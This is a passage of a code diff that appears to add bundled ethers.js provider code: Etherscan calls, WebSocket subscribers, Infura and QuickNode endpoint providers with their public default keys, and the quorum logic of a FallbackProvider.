"call": { + if (req.blockTag !== "latest") { + throw new Error("EtherscanProvider does not support blockTag for call"); + } + const postData = this._getTransactionPostData(req.transaction); + postData.module = "proxy"; + postData.action = "eth_call"; + try { + return await this.fetch("proxy", postData, true); + } + catch (error) { + return this._checkError(req, error, req.transaction); + } + } + case "estimateGas": { + const postData = this._getTransactionPostData(req.transaction); + postData.module = "proxy"; + postData.action = "eth_estimateGas"; + try { + return await this.fetch("proxy", postData, true); + } + catch (error) { + return this._checkError(req, error, req.transaction); + } + } + } + return super._perform(req); + } + async getNetwork() { + return this.network; + } + /** + * Resolves to the current price of ether. + * + * This returns ``0`` on any network other than ``mainnet``. + */ + async getEtherPrice() { + if (this.network.name !== "mainnet") { + return 0.0; + } + return parseFloat((await this.fetch("stats", { action: "ethprice" })).ethusd); + } + /** + * Resolves to a [Contract]] for %%address%%, using the + * Etherscan API to retreive the Contract ABI. + */ + async getContract(_address) { + let address = this._getAddress(_address); + if (isPromise(address)) { + address = await address; + } + try { + const resp = await this.fetch("contract", { + action: "getabi", address + }); + const abi = JSON.parse(resp); + return new Contract(address, abi, this); + } + catch (error) { + return null; + } + } + isCommunityResource() { + return (this.apiKey == null); + } + } + + function getGlobal() { + if (typeof self !== 'undefined') { + return self; + } + if (typeof window !== 'undefined') { + return window; + } + if (typeof global !== 'undefined') { + return global; + } + throw new Error('unable to locate global object'); + } + const _WebSocket = getGlobal().WebSocket; + + /** + * Generic long-lived socket provider. + * + * Sub-classing notes + * - a sub-class MUST call the `_start()` method once connected + * - a sub-class MUST override the `_write(string)` method + * - a sub-class MUST call `_processMessage(string)` for each message + * + * @_subsection: api/providers/abstract-provider:Socket Providers [about-socketProvider] + */ + /** + * A **SocketSubscriber** uses a socket transport to handle events and + * should use [[_emit]] to manage the events. + */ + class SocketSubscriber { + #provider; + #filter; + /** + * The filter. + */ + get filter() { return JSON.parse(this.#filter); } + #filterId; + #paused; + #emitPromise; + /** + * Creates a new **SocketSubscriber** attached to %%provider%% listening + * to %%filter%%. + */ + constructor(provider, filter) { + this.#provider = provider; + this.#filter = JSON.stringify(filter); + this.#filterId = null; + this.#paused = null; + this.#emitPromise = null; + } + start() { + this.#filterId = this.#provider.send("eth_subscribe", this.filter).then((filterId) => { + this.#provider._register(filterId, this); + return filterId; + }); + } + stop() { + (this.#filterId).then((filterId) => { + if (this.#provider.destroyed) { + return; + } + this.#provider.send("eth_unsubscribe", [filterId]); + }); + this.#filterId = null; + } + // @TODO: pause should trap the current blockNumber, unsub, and on resume use getLogs + // and resume + pause(dropWhilePaused) { + assert(dropWhilePaused, "preserve logs while paused not supported by SocketSubscriber yet", "UNSUPPORTED_OPERATION", { operation: "pause(false)" }); + this.#paused = !!dropWhilePaused; + } + resume() { + this.#paused = null; + } + /** + * @_ignore: + */ + _handleMessage(message) { + if (this.#filterId == null) { + return; + } + if (this.#paused === null) { + let emitPromise = this.#emitPromise; + if (emitPromise == null) { + emitPromise = this._emit(this.#provider, message); + } + else { + emitPromise = emitPromise.then(async () => { + await this._emit(this.#provider, message); + }); + } + this.#emitPromise = emitPromise.then(() => { + if (this.#emitPromise === emitPromise) { + this.#emitPromise = null; + } + }); + } + } + /** + * Sub-classes **must** override this to emit the events on the + * provider. + */ + async _emit(provider, message) { + throw new Error("sub-classes must implemente this; _emit"); + } + } + /** + * A **SocketBlockSubscriber** listens for ``newHeads`` events and emits + * ``"block"`` events. + */ + class SocketBlockSubscriber extends SocketSubscriber { + /** + * @_ignore: + */ + constructor(provider) { + super(provider, ["newHeads"]); + } + async _emit(provider, message) { + provider.emit("block", parseInt(message.number)); + } + } + /** + * A **SocketPendingSubscriber** listens for pending transacitons and emits + * ``"pending"`` events. + */ + class SocketPendingSubscriber extends SocketSubscriber { + /** + * @_ignore: + */ + constructor(provider) { + super(provider, ["newPendingTransactions"]); + } + async _emit(provider, message) { + provider.emit("pending", message); + } + } + /** + * A **SocketEventSubscriber** listens for event logs. + */ + class SocketEventSubscriber extends SocketSubscriber { + #logFilter; + /** + * The filter. + */ + get logFilter() { return JSON.parse(this.#logFilter); } + /** + * @_ignore: + */ + constructor(provider, filter) { + super(provider, ["logs", filter]); + this.#logFilter = JSON.stringify(filter); + } + async _emit(provider, message) { + provider.emit(this.logFilter, provider._wrapLog(message, provider._network)); + } + } + /** + * A **SocketProvider** is backed by a long-lived connection over a + * socket, which can subscribe and receive real-time messages over + * its communication channel. + */ + class SocketProvider extends JsonRpcApiProvider { + #callbacks; + // Maps each filterId to its subscriber + #subs; + // If any events come in before a subscriber has finished + // registering, queue them + #pending; + /** + * Creates a new **SocketProvider** connected to %%network%%. + * + * If unspecified, the network will be discovered. + */ + constructor(network, _options) { + // Copy the options + const options = Object.assign({}, (_options != null) ? _options : {}); + // Support for batches is generally not supported for + // connection-base providers; if this changes in the future + // the _send should be updated to reflect this + assertArgument(options.batchMaxCount == null || options.batchMaxCount === 1, "sockets-based providers do not support batches", "options.batchMaxCount", _options); + options.batchMaxCount = 1; + // Socket-based Providers (generally) cannot change their network, + // since they have a long-lived connection; but let people override + // this if they have just cause. + if (options.staticNetwork == null) { + options.staticNetwork = true; + } + super(network, options); + this.#callbacks = new Map(); + this.#subs = new Map(); + this.#pending = new Map(); + } + // This value is only valid after _start has been called + /* + get _network(): Network { + if (this.#network == null) { + throw new Error("this shouldn't happen"); + } + return this.#network.clone(); + } + */ + _getSubscriber(sub) { + switch (sub.type) { + case "close": + return new UnmanagedSubscriber("close"); + case "block": + return new SocketBlockSubscriber(this); + case "pending": + return new SocketPendingSubscriber(this); + case "event": + return new SocketEventSubscriber(this, sub.filter); + case "orphan": + // Handled auto-matically within AbstractProvider + // when the log.removed = true + if (sub.filter.orphan === "drop-log") { + return new UnmanagedSubscriber("drop-log"); + } + } + return super._getSubscriber(sub); + } + /** + * Register a new subscriber. This is used internalled by Subscribers + * and generally is unecessary unless extending capabilities. + */ + _register(filterId, subscriber) { + this.#subs.set(filterId, subscriber); + const pending = this.#pending.get(filterId); + if (pending) { + for (const message of pending) { + subscriber._handleMessage(message); + } + this.#pending.delete(filterId); + } + } + async _send(payload) { + // WebSocket provider doesn't accept batches + assertArgument(!Array.isArray(payload), "WebSocket does not support batch send", "payload", payload); + // @TODO: stringify payloads here and store to prevent mutations + // Prepare a promise to respond to + const promise = new Promise((resolve, reject) => { + this.#callbacks.set(payload.id, { payload, resolve, reject }); + }); + // Wait until the socket is connected before writing to it + await this._waitUntilReady(); + // Write the request to the socket + await this._write(JSON.stringify(payload)); + return [await promise]; + } + // Sub-classes must call this once they are connected + /* + async _start(): Promise { + if (this.#ready) { return; } + + for (const { payload } of this.#callbacks.values()) { + await this._write(JSON.stringify(payload)); + } + + this.#ready = (async function() { + await super._start(); + })(); + } + */ + /** + * Sub-classes **must** call this with messages received over their + * transport to be processed and dispatched. + */ + async _processMessage(message) { + const result = (JSON.parse(message)); + if (result && typeof (result) === "object" && "id" in result) { + const callback = this.#callbacks.get(result.id); + if (callback == null) { + this.emit("error", makeError("received result for unknown id", "UNKNOWN_ERROR", { + reasonCode: "UNKNOWN_ID", + result + })); + return; + } + this.#callbacks.delete(result.id); + callback.resolve(result); + } + else if (result && result.method === "eth_subscription") { + const filterId = result.params.subscription; + const subscriber = this.#subs.get(filterId); + if (subscriber) { + subscriber._handleMessage(result.params.result); + } + else { + let pending = this.#pending.get(filterId); + if (pending == null) { + pending = []; + this.#pending.set(filterId, pending); + } + pending.push(result.params.result); + } + } + else { + this.emit("error", makeError("received unexpected message", "UNKNOWN_ERROR", { + reasonCode: "UNEXPECTED_MESSAGE", + result + })); + return; + } + } + /** + * Sub-classes **must** override this to send %%message%% over their + * transport. + */ + async _write(message) { + throw new Error("sub-classes must override this"); + } + } + + /** + * A JSON-RPC provider which is backed by a WebSocket. + * + * WebSockets are often preferred because they retain a live connection + * to a server, which permits more instant access to events. + * + * However, this incurs higher server infrasturture costs, so additional + * resources may be required to host your own WebSocket nodes and many + * third-party services charge additional fees for WebSocket endpoints. + */ + class WebSocketProvider extends SocketProvider { + #connect; + #websocket; + get websocket() { + if (this.#websocket == null) { + throw new Error("websocket closed"); + } + return this.#websocket; + } + constructor(url, network, options) { + super(network, options); + if (typeof (url) === "string") { + this.#connect = () => { return new _WebSocket(url); }; + this.#websocket = this.#connect(); + } + else if (typeof (url) === "function") { + this.#connect = url; + this.#websocket = url(); + } + else { + this.#connect = null; + this.#websocket = url; + } + this.websocket.onopen = async () => { + try { + await this._start(); + this.resume(); + } + catch (error) { + console.log("failed to start WebsocketProvider", error); + // @TODO: now what? Attempt reconnect? + } + }; + this.websocket.onmessage = (message) => { + this._processMessage(message.data); + }; + /* + this.websocket.onclose = (event) => { + // @TODO: What event.code should we reconnect on? + const reconnect = false; + if (reconnect) { + this.pause(true); + if (this.#connect) { + this.#websocket = this.#connect(); + this.#websocket.onopen = ... + // @TODO: this requires the super class to rebroadcast; move it there + } + this._reconnect(); + } + }; + */ + } + async _write(message) { + this.websocket.send(message); + } + async destroy() { + if (this.#websocket != null) { + this.#websocket.close(); + this.#websocket = null; + } + super.destroy(); + } + } + + /** + * [[link-infura]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Linea (``linea``) + * - Linea Goerli Testnet (``linea-goerli``) + * - Linea Sepolia Testnet (``linea-sepolia``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:INFURA [providers-infura] + */ + const defaultProjectId = "84842078b09946638c03157f83405213"; + function getHost$2(name) { + switch (name) { + case "mainnet": + return "mainnet.infura.io"; + case "goerli": + return "goerli.infura.io"; + case "sepolia": + return "sepolia.infura.io"; + case "arbitrum": + return "arbitrum-mainnet.infura.io"; + case "arbitrum-goerli": + return "arbitrum-goerli.infura.io"; + case "arbitrum-sepolia": + return "arbitrum-sepolia.infura.io"; + case "base": + return "base-mainnet.infura.io"; + case "base-goerlia": // @TODO: Remove this typo in the future! + case "base-goerli": + return "base-goerli.infura.io"; + case "base-sepolia": + return "base-sepolia.infura.io"; + case "bnb": + return "bsc-mainnet.infura.io"; + case "bnbt": + return "bsc-testnet.infura.io"; + case "linea": + return "linea-mainnet.infura.io"; + case "linea-goerli": + return "linea-goerli.infura.io"; + case "linea-sepolia": + return "linea-sepolia.infura.io"; + case "matic": + return "polygon-mainnet.infura.io"; + case "matic-amoy": + return "polygon-amoy.infura.io"; + case "matic-mumbai": + return "polygon-mumbai.infura.io"; + case "optimism": + return "optimism-mainnet.infura.io"; + case "optimism-goerli": + return "optimism-goerli.infura.io"; + case "optimism-sepolia": + return "optimism-sepolia.infura.io"; + } + assertArgument(false, "unsupported network", "network", name); + } + /** + * The **InfuraWebSocketProvider** connects to the [[link-infura]] + * WebSocket end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ + class InfuraWebSocketProvider extends WebSocketProvider { + /** + * The Project ID for the INFURA connection. + */ + projectId; + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + projectSecret; + /** + * Creates a new **InfuraWebSocketProvider**. + */ + constructor(network, projectId) { + const provider = new InfuraProvider(network, projectId); + const req = provider._getConnection(); + assert(!req.credentials, "INFURA WebSocket project secrets unsupported", "UNSUPPORTED_OPERATION", { operation: "InfuraProvider.getWebSocketProvider()" }); + const url = req.url.replace(/^http/i, "ws").replace("/v3/", "/ws/v3/"); + super(url, provider._network); + defineProperties(this, { + projectId: provider.projectId, + projectSecret: provider.projectSecret + }); + } + isCommunityResource() { + return (this.projectId === defaultProjectId); + } + } + /** + * The **InfuraProvider** connects to the [[link-infura]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ + class InfuraProvider extends JsonRpcProvider { + /** + * The Project ID for the INFURA connection. + */ + projectId; + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + projectSecret; + /** + * Creates a new **InfuraProvider**. + */ + constructor(_network, projectId, projectSecret) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (projectId == null) { + projectId = defaultProjectId; + } + if (projectSecret == null) { + projectSecret = null; + } + const request = InfuraProvider.getRequest(network, projectId, projectSecret); + super(request, network, { staticNetwork: network }); + defineProperties(this, { projectId, projectSecret }); + } + _getProvider(chainId) { + try { + return new InfuraProvider(chainId, this.projectId, this.projectSecret); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.projectId === defaultProjectId); + } + /** + * Creates a new **InfuraWebSocketProvider**. + */ + static getWebSocketProvider(network, projectId) { + return new InfuraWebSocketProvider(network, projectId); + } + /** + * Returns a prepared request for connecting to %%network%% + * with %%projectId%% and %%projectSecret%%. + */ + static getRequest(network, projectId, projectSecret) { + if (projectId == null) { + projectId = defaultProjectId; + } + if (projectSecret == null) { + projectSecret = null; + } + const request = new FetchRequest(`https:/\/${getHost$2(network.name)}/v3/${projectId}`); + request.allowGzip = true; + if (projectSecret) { + request.setCredentials("", projectSecret); + } + if (projectId === defaultProjectId) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("InfuraProvider"); + return true; + }; + } + return request; + } + } + + /** + * [[link-quicknode]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base Mainnet (``base``); + * - Base Goerli Testnet (``base-goerli``); + * - Base Sepolia Testnet (``base-sepolia``); + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:QuickNode [providers-quicknode] + */ + const defaultToken = "919b412a057b5e9c9b6dce193c5a60242d6efadb"; + function getHost$1(name) { + switch (name) { + case "mainnet": + return "ethers.quiknode.pro"; + case "goerli": + return "ethers.ethereum-goerli.quiknode.pro"; + case "sepolia": + return "ethers.ethereum-sepolia.quiknode.pro"; + case "holesky": + return "ethers.ethereum-holesky.quiknode.pro"; + case "arbitrum": + return "ethers.arbitrum-mainnet.quiknode.pro"; + case "arbitrum-goerli": + return "ethers.arbitrum-goerli.quiknode.pro"; + case "arbitrum-sepolia": + return "ethers.arbitrum-sepolia.quiknode.pro"; + case "base": + return "ethers.base-mainnet.quiknode.pro"; + case "base-goerli": + return "ethers.base-goerli.quiknode.pro"; + case "base-spolia": + return "ethers.base-sepolia.quiknode.pro"; + case "bnb": + return "ethers.bsc.quiknode.pro"; + case "bnbt": + return "ethers.bsc-testnet.quiknode.pro"; + case "matic": + return "ethers.matic.quiknode.pro"; + case "matic-mumbai": + return "ethers.matic-testnet.quiknode.pro"; + case "optimism": + return "ethers.optimism.quiknode.pro"; + case "optimism-goerli": + return "ethers.optimism-goerli.quiknode.pro"; + case "optimism-sepolia": + return "ethers.optimism-sepolia.quiknode.pro"; + case "xdai": + return "ethers.xdai.quiknode.pro"; + } + assertArgument(false, "unsupported network", "network", name); + } + /* + @TODO: + These networks are not currently present in the Network + default included networks. Research them and ensure they + are EVM compatible and work with ethers + + http://ethers.matic-amoy.quiknode.pro + + http://ethers.avalanche-mainnet.quiknode.pro + http://ethers.avalanche-testnet.quiknode.pro + http://ethers.blast-sepolia.quiknode.pro + http://ethers.celo-mainnet.quiknode.pro + http://ethers.fantom.quiknode.pro + http://ethers.imx-demo.quiknode.pro + http://ethers.imx-mainnet.quiknode.pro + http://ethers.imx-testnet.quiknode.pro + http://ethers.near-mainnet.quiknode.pro + http://ethers.near-testnet.quiknode.pro + http://ethers.nova-mainnet.quiknode.pro + http://ethers.scroll-mainnet.quiknode.pro + http://ethers.scroll-testnet.quiknode.pro + http://ethers.tron-mainnet.quiknode.pro + http://ethers.zkevm-mainnet.quiknode.pro + http://ethers.zkevm-testnet.quiknode.pro + http://ethers.zksync-mainnet.quiknode.pro + http://ethers.zksync-testnet.quiknode.pro + */ + /** + * The **QuickNodeProvider** connects to the [[link-quicknode]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API token is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-quicknode). + */ + class QuickNodeProvider extends JsonRpcProvider { + /** + * The API token. + */ + token; + /** + * Creates a new **QuickNodeProvider**. + */ + constructor(_network, token) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (token == null) { + token = defaultToken; + } + const request = QuickNodeProvider.getRequest(network, token); + super(request, network, { staticNetwork: network }); + defineProperties(this, { token }); + } + _getProvider(chainId) { + try { + return new QuickNodeProvider(chainId, this.token); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.token === defaultToken); + } + /** + * Returns a new request prepared for %%network%% and the + * %%token%%. + */ + static getRequest(network, token) { + if (token == null) { + token = defaultToken; + } + const request = new FetchRequest(`https:/\/${getHost$1(network.name)}/${token}`); + request.allowGzip = true; + //if (projectSecret) { request.setCredentials("", projectSecret); } + if (token === defaultToken) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("QuickNodeProvider"); + return true; + }; + } + return request; + } + } + + /** + * A **FallbackProvider** provides resilience, security and performance + * in a way that is customizable and configurable. + * + * @_section: api/providers/fallback-provider:Fallback Provider [about-fallback-provider] + */ + const BN_1 = BigInt("1"); + const BN_2 = BigInt("2"); + function shuffle(array) { + for (let i = array.length - 1; i > 0; i--) { + const j = Math.floor(Math.random() * (i + 1)); + const tmp = array[i]; + array[i] = array[j]; + array[j] = tmp; + } + } + function stall$2(duration) { + return new Promise((resolve) => { setTimeout(resolve, duration); }); + } + function getTime() { return (new Date()).getTime(); } + function stringify(value) { + return JSON.stringify(value, (key, value) => { + if (typeof (value) === "bigint") { + return { type: "bigint", value: value.toString() }; + } + return value; + }); + } + const defaultConfig = { stallTimeout: 400, priority: 1, weight: 1 }; + const defaultState = { + blockNumber: -2, requests: 0, lateResponses: 0, errorResponses: 0, + outOfSync: -1, unsupportedEvents: 0, rollingDuration: 0, score: 0, + _network: null, _updateNumber: null, _totalTime: 0, + _lastFatalError: null, _lastFatalErrorTimestamp: 0 + }; + async function waitForSync(config, blockNumber) { + while (config.blockNumber < 0 || config.blockNumber < blockNumber) { + if (!config._updateNumber) { + config._updateNumber = (async () => { + try { + const blockNumber = await config.provider.getBlockNumber(); + if (blockNumber > config.blockNumber) { + config.blockNumber = blockNumber; + } + } + catch (error) { + config.blockNumber = -2; + config._lastFatalError = error; + config._lastFatalErrorTimestamp = getTime(); + } + config._updateNumber = null; + })(); + } + await config._updateNumber; + config.outOfSync++; + if (config._lastFatalError) { + break; + } + } + } + function _normalize(value) { + if (value == null) { + return "null"; + } + if (Array.isArray(value)) { + return "[" + (value.map(_normalize)).join(",") + "]"; + } + if (typeof (value) === "object" && typeof (value.toJSON) === "function") { + return _normalize(value.toJSON()); + } + switch (typeof (value)) { + case "boolean": + case "symbol": + return value.toString(); + case "bigint": + case "number": + return BigInt(value).toString(); + case "string": + return JSON.stringify(value); + case "object": { + const keys = Object.keys(value); + keys.sort(); + return "{" + keys.map((k) => `${JSON.stringify(k)}:${_normalize(value[k])}`).join(",") + "}"; + } + } + console.log("Could not serialize", value); + throw new Error("Hmm..."); + } + function normalizeResult(method, value) { + if ("error" in value) { + const error = value.error; + let tag; + if (isError(error, "CALL_EXCEPTION")) { + tag = _normalize(Object.assign({}, error, { + shortMessage: undefined, reason: undefined, info: undefined + })); + } + else { + tag = _normalize(error); + } + return { tag, value: error }; + } + const result = value.result; + return { tag: _normalize(result), value: result }; + } + // This strategy picks the highest weight result, as long as the weight is + // equal to or greater than quorum + function checkQuorum(quorum, results) { + const tally = new Map(); + for (const { value, tag, weight } of results) { + const t = tally.get(tag) || { value, weight: 0 }; + t.weight += weight; + tally.set(tag, t); + } + let best = null; + for (const r of tally.values()) { + if (r.weight >= quorum && (!best || r.weight > best.weight)) { + best = r; + } + } + if (best) { + return best.value; + } + return undefined; + } + function getMedian(quorum, results) { + let resultWeight = 0; + const errorMap = new Map(); + let bestError = null; + const values = []; + for (const { value, tag, weight } of results) { + if (value instanceof Error) { + const e = errorMap.get(tag) || { value, weight: 0 }; + e.weight += weight; + errorMap.set(tag, e); + if (bestError == null || e.weight > bestError.weight) { + bestError = e; + } + } + else { + values.push(BigInt(value)); + resultWeight += weight; + } + } + if (resultWeight < quorum) { + // We have quorum for an error + if (bestError && bestError.weight >= quorum) { + return bestError.value; + } + // We do not have quorum for a result + return undefined; + } + // Get the sorted values + values.sort((a, b) => ((a < b) ? -1 : (b > a) ? 1 : 0)); + const mid = Math.floor(values.length / 2); + // Odd-length; take the middle value + if (values.length % 2) { + return values[mid]; + } + // Even length; take the ceiling of the mean of the center two values + return (values[mid - 1] + values[mid] + BN_1) / BN_2; + } + function getAnyResult(quorum, results) { + // If any value or error meets quorum, that is our preferred result + const result = checkQuorum(quorum, results); + if (result !== undefined) { + return result; + } + // Otherwise, do we have any result? + for (const r of results) { + if (r.value) { + return r.value; + } + } + // Nope! + return undefined; + } + function getFuzzyMode(quorum, results) { + if (quorum === 1) { + return getNumber(getMedian(quorum, results), "%internal"); + } + const tally = new Map(); + const add = (result, weight) => { + const t = tally.get(result) || { result, weight: 0 }; + t.weight += weight; + tally.set(result, t); + }; + for (const { weight, value } of results) { + const r = getNumber(value); + add(r - 1, weight); + add(r, weight); + add(r + 1, weight); + } + let bestWeight = 0; + let bestResult = undefined; + for (const { weight, result } of tally.values()) { + // Use this result, if this result meets quorum and has either: + // - a better weight + // - or equal weight, but the result is larger + if (weight >= quorum && (weight > bestWeight || (bestResult != null && weight === bestWeight && result > bestResult))) { + bestWeight = weight; + bestResult = result; + } + } + return bestResult; + } + /** + * A **FallbackProvider** manages several [[Providers]] providing + * resilience by switching between slow or misbehaving nodes, security + * by requiring multiple backends to aggree and performance by allowing + * faster backends to respond earlier. + * + */ + class FallbackProvider extends AbstractProvider { + /** + * The number of backends that must agree on a value before it is + * accpeted. + */ + quorum; + /** + * @_ignore: + */ + eventQuorum; + /** + * @_ignore: + */ + eventWorkers; + #configs; + #height; + #initialSyncPromise; + /** + * Creates a new **FallbackProvider** with %%providers%% connected to + * %%network%%. + * + * If a [[Provider]] is included in %%providers%%, defaults are used + * for the configuration. + */ + constructor(providers, network, options) { + super(network, options); + this.#configs = providers.map((p) => { + if (p instanceof AbstractProvider) { + return Object.assign({ provider: p }, defaultConfig, defaultState); + } + else { + return Object.assign({}, defaultConfig, p, defaultState); + } + }); + this.#height = -2; + this.#initialSyncPromise = null; + if (options && options.quorum != null) { + this.quorum = options.quorum; + } + else { + this.quorum = Math.ceil(this.#configs.reduce((accum, config) => { + accum += config.weight; + return accum; + }, 0) / 2); + } + this.eventQuorum = 1; + this.eventWorkers = 1; + assertArgument(this.quorum <= this.#configs.reduce((a, c) => (a + c.weight), 0), "quorum exceed provider weight", "quorum", this.quorum); + } + get providerConfigs() { + return this.#configs.map((c) => { + const result = Object.assign({}, c); + for (const key in result) { + if (key[0] === "_") { + delete result[key]; + } + } + return result; + }); + } + async _detectNetwork() { + return Network.from(getBigInt(await this._perform({ method: "chainId" }))); + } + // @TODO: Add support to select providers to be the event subscriber + //_getSubscriber(sub: Subscription): Subscriber { + // throw new Error("@TODO"); + //} + /** + * Transforms a %%req%% into the correct method call on %%provider%%. + */ + async _translatePerform(provider, req) { + switch (req.method) { + case "broadcastTransaction": + return await provider.broadcastTransaction(req.signedTransaction); + case "call": + return await provider.call(Object.assign({}, req.transaction, { blockTag: req.blockTag })); + case "chainId": + return (await provider.getNetwork()).chainId; + case "estimateGas": + return await provider.estimateGas(req.transaction); + case "getBalance": + return await provider.getBalance(req.address, req.blockTag); + case "getBlock": { + const block = ("blockHash" in req) ? req.blockHash : req.blockTag; + return await provider.getBlock(block, req.includeTransactions); + } + case "getBlockNumber": + return await provider.getBlockNumber(); + case "getCode": + return await provider.getCode(req.address, req.blockTag); + case "getGasPrice": + return (await provider.getFeeData()).gasPrice; + case "getPriorityFee": + return (await provider.getFeeData()).maxPriorityFeePerGas; + case "getLogs": + return await provider.getLogs(req.filter); + case "getStorage": + return await provider.getStorage(req.address, req.position, req.blockTag); + case "getTransaction": + return await provider.getTransaction(req.hash); + case "getTransactionCount": + return await provider.getTransactionCount(req.address, req.blockTag); + case "getTransactionReceipt": + return await provider.getTransactionReceipt(req.hash); + case "getTransactionResult": + return await provider.getTransactionResult(req.hash); + } + } + // Grab the next (random) config that is not already part of + // the running set + #getNextConfig(running) { + // @TODO: Maybe do a check here to favour (heavily) providers that + // do not require waitForSync and disfavour providers that + // seem down-ish or are behaving slowly + const configs = Array.from(running).map((r) => r.config); + // Shuffle the states, sorted by priority + const allConfigs = this.#configs.slice(); + shuffle(allConfigs); + allConfigs.sort((a, b) => (a.priority - b.priority)); + for (const config of allConfigs) { + if (config._lastFatalError) { + continue; + } + if (configs.indexOf(config) === -1) { + return config; + } + } + return null; + } + // Adds a new runner (if available) to running. + #addRunner(running, req) { + const config = this.#getNextConfig(running); + // No runners available + if (config == null) { + return null; + } + // Create a new runner + const runner = { + config, result: null, didBump: false, + perform: null, staller: null + }; + const now = getTime(); + // Start performing this operation + runner.perform = (async () => { + try { + config.requests++; + const result = await this._translatePerform(config.provider, req); + runner.result = { result }; + } + catch (error) { + config.errorResponses++; + runner.result = { error }; + } + const dt = (getTime() - now); + config._totalTime += dt; + config.rollingDuration = 0.95 * config.rollingDuration + 0.05 * dt; + runner.perform = null; + })(); + // Start a staller; when this times out, it's time to force + // kicking off another runner because we are taking too long + runner.staller = (async () => { + await stall$2(config.stallTimeout); + runner.staller = null; + })(); + running.add(runner); + return runner; + } + // Initializes the blockNumber and network for each runner and + // blocks until initialized + async #initialSync() { + let initialSync = this.#initialSyncPromise; + if (!initialSync) { + const promises = []; + this.#configs.forEach((config) => { + promises.push((async () => { + await waitForSync(config, 0); + if (!config._lastFatalError) { + config._network = await config.provider.getNetwork(); + } + })()); + }); + this.#initialSyncPromise = initialSync = (async () => { + // Wait for all providers to have a block number and network + await Promise.all(promises); + // Check all the networks match + let chainId = null; + for (const config of this.#configs) { + if (config._lastFatalError) { + continue; + } + const network = (config._network); + if (chainId == null) { + chainId = network.chainId; + } + else if (network.chainId !== chainId) { + assert(false, "cannot mix providers on different networks", "UNSUPPORTED_OPERATION", { + operation: "new FallbackProvider" + }); + } + } + })(); + } + await initialSync; + } + async #checkQuorum(running, req) { + // Get all the result objects + const results = []; + for (const runner of running) { + if (runner.result != null) { + const { tag, value } = normalizeResult(req.method, runner.result); + results.push({ tag, value, weight: runner.config.weight }); + } + } + // Are there enough results to event meet quorum? + if (results.reduce((a, r) => (a + r.weight), 0) < this.quorum) { + return undefined; + } + switch (req.method) { + case "getBlockNumber": { + // We need to get the bootstrap block height + if (this.#height === -2) { + this.#height = Math.ceil(getNumber(getMedian(this.quorum, this.#configs.filter((c) => (!c._lastFatalError)).map((c) => ({ + value: c.blockNumber, + tag: getNumber(c.blockNumber).toString(), + weight: c.weight + }))))); + } + // Find the mode across all the providers, allowing for + // a little drift between block heights + const mode = getFuzzyMode(this.quorum, results); + if (mode === undefined) { + return undefined; + } + if (mode > this.#height) { + this.#height = mode; + } + return this.#height; + } + case "getGasPrice": + case "getPriorityFee": + case "estimateGas": + return getMedian(this.quorum, results); + case "getBlock": + // Pending blocks are in the mempool and already + // quite untrustworthy; just grab anything + if ("blockTag" in req && req.blockTag === "pending") { + return getAnyResult(this.quorum, results); + } + return checkQuorum(this.quorum, results); + case "call": + case "chainId": + case "getBalance": + case "getTransactionCount": + case "getCode": + case "getStorage": + case "getTransaction": + case "getTransactionReceipt": + case "getLogs": + return checkQuorum(this.quorum, results); + case "broadcastTransaction": + return getAnyResult(this.quorum, results); + } + assert(false, "unsupported method", "UNSUPPORTED_OPERATION", { + operation: `_perform(${stringify(req.method)})` + }); + } + async #waitForQuorum(running, req) { + if (running.size === 0) { + throw new Error("no runners?!"); + } + // Any promises that are interesting to watch for; an expired stall + // or a successful perform + const interesting = []; + let newRunners = 0; + for (const runner of running) { + // No responses, yet; keep an eye on it + if (runner.perform) { + interesting.push(runner.perform); + } + // Still stalling... + if (runner.staller) { + interesting.push(runner.staller); + continue; + } + // This runner has already triggered another runner + if (runner.didBump) { + continue; + } + // Got a response (result or error) or stalled; kick off another runner + runner.didBump = true; + newRunners++; + } + // Check if we have reached quorum on a result (or error) + const value = await this.#checkQuorum(running, req); + if (value !== 